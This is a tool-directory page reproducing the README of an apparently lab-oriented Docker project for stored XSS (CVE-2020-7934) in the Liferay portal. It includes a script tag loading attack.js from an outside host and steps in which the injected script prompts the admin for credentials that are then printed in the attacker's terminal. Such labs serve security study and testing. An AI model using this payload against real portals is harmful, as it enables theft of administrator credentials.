Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
audit-xss-cve-2020-7934 — Docker-based XSS exploit for CVE-2020-7934 targeting Liferay portal. Demonstrates stored cross-site scripting via user profile fields to steal admin credentials. | Kitploit
Tools/GitHubGitHub/giardinas-dev/audit-xss-cve-2020-7934
Vulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingLearning & Education
GitHubgiardinas-dev/audit-xss-cve-2020-7934

audit-xss-cve-2020-7934

Docker-based XSS exploit for CVE-2020-7934 targeting Liferay portal. Demonstrates stored cross-site scripting via user profile fields to steal admin credentials.

View Repository
454 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE 2020-7934

How to run CVE

Requirements

  1. docker

Remarks

it's possible put the script attack online (given the js code ) http://yourjavascript.com/ Our Js script online for the attack html <script src="http://yourjavascript.com/920172199111/attack.js"></script>

Commands for configuration

  1. go to root folder of this project
  2. run "sudo docker-compose up --build"
  3. new terminal: run "docker inspect liferay" ==> and copy the IPAddress value
  4. new terminal: run "python api_attacker.py"
  5. open a browser and go to "http://IPAddress:8080" ==> you should get the liferay portal as response
  6. to stop and delete containers use "sudo docker-compose rm"

Istructions for the attack

  1. Register in liferay as a user, log in, and in the "available sites" section, join the "liferay" site.
  • Change the "last name" in a JS script (directly () or through a "src =" http ... "")
  • Log in as admin liferay (username: [email protected], password: test)
  • Go to available sites and click on "liferay", the public page of this site will open.
  • Go to the new page, a menu will open on the right, click on mermbership.
  • Select the user registered in step 1. At that moment the script will be executed. 5.1) In the script attack.js the page will ask the credentials.
  • In the terminal of step 5 ( of Commands for configuration) it will be printed username/password inserted in 5.1 ( by admin ) )
  • Download Tool